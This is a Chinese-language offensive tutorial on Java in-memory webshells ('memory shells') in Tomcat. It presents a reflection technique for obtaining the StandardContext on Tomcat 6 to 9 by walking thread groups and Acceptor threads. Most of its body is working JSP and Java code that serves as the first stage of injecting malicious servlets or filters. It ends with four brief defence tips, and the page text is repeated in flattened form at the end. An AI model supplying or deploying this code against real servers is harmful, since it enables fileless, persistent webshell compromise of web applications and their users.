Java内存马:一种Tomcat全版本获取StandardContext的新方法
字数 1387 2025-08-05 00:15:08

Java内存马:Tomcat全版本获取StandardContext的新方法

1. 前言

Java内存马注入的全流程通常包括三个步骤:

  1. 获取上下文对象:获取当前请求的HttpRequest对象或Tomcat的StandardContext对象
  2. 创建恶意对象:创建servlet、filter或controller等恶意对象
  3. 动态注入:使用上下文对象的方法向中间件或框架动态添加恶意对象

其中,获取上下文对象(StandardContext)是基础,它拥有处理请求、保存和控制servlet/filter对象等功能。

2. 现有获取StandardContext方法总结

2.1 已有request对象的情况

当可以直接访问request对象时(如JSP文件中):

javax.servlet.ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext)stdctx.get(applicationContext);

2.2 没有request对象的情况

2.2.1 从ContextClassLoader获取

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

限制:仅适用于Tomcat 8/9

2.2.2 从ThreadLocal获取request

通过ThreadLocal获取request后再获取StandardContext。

兼容性:Tomcat 7/8/9,但不支持Tomcat 6

2.2.3 从MBean中获取

通过JMX MBeanServer逐步查找StandardContext。

限制:需要猜测项目名和host才能获取对应的StandardContext

2.2.4 从Spring获取Context

获取的是Spring运行时上下文,适用于SpringMVC和SpringBoot框架下的controller和interceptor注入。

3. Tomcat全版本获取StandardContext的新方法

3.1 从线程组获取请求对象

通过遍历线程组获取请求对象的基本流程:

currentThread -> threadGroup -> for(threads) -> target -> this$0 -> handler -> global -> for(processors) -> req

但获取到的org.apache.coyote.Request没有servletContext属性,无法直接使用。

3.2 通过StandardEngine线程获取

在Tomcat架构中:

  • 一个Engine可配置多个Host(虚拟主机)
  • 每个Host可配置多个webapp(StandardContext)

通过线程组中找到StandardEngine线程,然后逐步获取:

  1. 获取StandardEngine线程
  2. 获取其children(HashMap)得到StandardHost
  3. 从StandardHost的children获取StandardContext

关键代码

Thread[] threads = (Thread[])getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
    if (thread.getName().contains("StandardEngine")) {
        HashMap children = (HashMap)getField(getField(getField(thread, "target"), "this$0"), "children");
        StandardHost standardHost = (StandardHost)children.get(serverName);
        children = (HashMap)getField(standardHost, "children");
        // 遍历获取StandardContext
    }
}

兼容性:Tomcat 6/7/8,但不支持Tomcat 9

3.3 通过Acceptor线程获取(全版本兼容)

Tomcat各版本都会创建"Http-xio-端口-Acceptor"线程来处理请求,流程如下:

Tomcat 6/7/8流程

currentThread -> threadGroup -> for(threads) -> target -> this$0 -> handler -> proto -> adapter -> connector -> service -> container -> children(StandardHost) -> children(StandardContext)

Tomcat 9流程

target -> endpoint -> handler -> proto -> adapter -> connector -> service -> engine

完整JSP实现代码

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.StandardEngine" %>
<%@ page import="org.apache.catalina.core.StandardHost" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.util.Iterator" %>
<% 
class Tomcat6789 {
    String uri;
    String serverName;
    StandardContext standardContext;
    
    public Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {
                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (NoSuchFieldException e){} 
            catch (IllegalAccessException e){}
            clazz = clazz.getSuperclass();
        }
        return null;
    }
    
    public Tomcat6789() {
        Thread[] threads = (Thread[])this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {
            if (thread == null) continue;
            if (thread.getName().contains("exec")) continue;
            
            Object target = this.getField(thread, "target");
            if (!(target instanceof Runnable)) continue;
            
            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) { continue; }
            
            if (object == null) continue;
            
            java.util.ArrayList processors = (java.util.ArrayList)getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();
                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) continue;
                
                org.apache.tomcat.util.buf.MessageBytes serverNameMB = 
                    (org.apache.tomcat.util.buf.MessageBytes)getField(req, "serverNameMB");
                this.serverName = (String)getField(serverNameMB, "strValue");
                if (this.serverName == null) this.serverName = serverNameMB.toString();
                if (this.serverName == null) this.serverName = serverNameMB.getString();
                
                org.apache.tomcat.util.buf.MessageBytes uriMB = 
                    (org.apache.tomcat.util.buf.MessageBytes)getField(req, "uriMB");
                this.uri = (String)getField(uriMB, "strValue");
                if (this.uri == null) this.uri = uriMB.toString();
                if (this.uri == null) this.uri = uriMB.getString();
                
                this.getStandardContext();
                return;
            }
        }
    }
    
    public void getStandardContext() {
        Thread[] threads = (Thread[])this.getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            if (thread == null) continue;
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                Object target = this.getField(thread, "target");
                HashMap children;
                Object jioEndPoint = null;
                try {
                    jioEndPoint = getField(target, "this$0");
                } catch (Exception e){}
                if (jioEndPoint == null){
                    try {
                        jioEndPoint = getField(target, "endpoint");
                    } catch (Exception e){ return; }
                }
                
                Object service = getField(getField(getField(getField(getField(
                    jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                
                StandardEngine engine = null;
                try {
                    engine = (StandardEngine)getField(service, "container");
                } catch (Exception e){}
                if (engine == null){
                    engine = (StandardEngine)getField(service, "engine");
                }
                
                children = (HashMap)getField(engine, "children");
                StandardHost standardHost = (StandardHost)children.get(this.serverName);
                children = (HashMap)getField(standardHost, "children");
                Iterator iterator = children.keySet().iterator();
                while (iterator.hasNext()){
                    String contextKey = (String)iterator.next();
                    if (!(this.uri.startsWith(contextKey))) continue;
                    StandardContext standardContext = (StandardContext)children.get(contextKey);
                    this.standardContext = standardContext;
                    return;
                }
            }
        }
    }
    
    public StandardContext getSTC(){
        return this.standardContext;
    }
}
%>
<%
Tomcat6789 a = new Tomcat6789();
out.println(a.getSTC());
%>

4. 方法优势

  1. 全版本兼容:支持Tomcat 6/7/8/9
  2. 无需猜测:通过当前请求自动获取正确的StandardContext
  3. 稳定性高:基于Tomcat内部架构实现,不受版本小更新影响

5. 防御建议

  1. 禁用JSP上传功能
  2. 监控和限制反射操作
  3. 定期更新Tomcat版本
  4. 使用安全防护产品检测内存马行为

6. 参考链接

Java内存马:Tomcat全版本获取StandardContext的新方法 1. 前言 Java内存马注入的全流程通常包括三个步骤: 获取上下文对象 :获取当前请求的HttpRequest对象或Tomcat的StandardContext对象 创建恶意对象 :创建servlet、filter或controller等恶意对象 动态注入 :使用上下文对象的方法向中间件或框架动态添加恶意对象 其中,获取上下文对象(StandardContext)是基础,它拥有处理请求、保存和控制servlet/filter对象等功能。 2. 现有获取StandardContext方法总结 2.1 已有request对象的情况 当可以直接访问request对象时(如JSP文件中): 2.2 没有request对象的情况 2.2.1 从ContextClassLoader获取 限制 :仅适用于Tomcat 8/9 2.2.2 从ThreadLocal获取request 通过ThreadLocal获取request后再获取StandardContext。 兼容性 :Tomcat 7/8/9,但不支持Tomcat 6 2.2.3 从MBean中获取 通过JMX MBeanServer逐步查找StandardContext。 限制 :需要猜测项目名和host才能获取对应的StandardContext 2.2.4 从Spring获取Context 获取的是Spring运行时上下文,适用于SpringMVC和SpringBoot框架下的controller和interceptor注入。 3. Tomcat全版本获取StandardContext的新方法 3.1 从线程组获取请求对象 通过遍历线程组获取请求对象的基本流程: 但获取到的 org.apache.coyote.Request 没有servletContext属性,无法直接使用。 3.2 通过StandardEngine线程获取 在Tomcat架构中: 一个Engine可配置多个Host(虚拟主机) 每个Host可配置多个webapp(StandardContext) 通过线程组中找到StandardEngine线程,然后逐步获取: 获取StandardEngine线程 获取其children(HashMap)得到StandardHost 从StandardHost的children获取StandardContext 关键代码 : 兼容性 :Tomcat 6/7/8,但不支持Tomcat 9 3.3 通过Acceptor线程获取(全版本兼容) Tomcat各版本都会创建"Http-xio-端口-Acceptor"线程来处理请求,流程如下: Tomcat 6/7/8流程 Tomcat 9流程 完整JSP实现代码 : 4. 方法优势 全版本兼容 :支持Tomcat 6/7/8/9 无需猜测 :通过当前请求自动获取正确的StandardContext 稳定性高 :基于Tomcat内部架构实现,不受版本小更新影响 5. 防御建议 禁用JSP上传功能 监控和限制反射操作 定期更新Tomcat版本 使用安全防护产品检测内存马行为 6. 参考链接 zema1的ysoserial实现 相关内存马检测和防御技术文章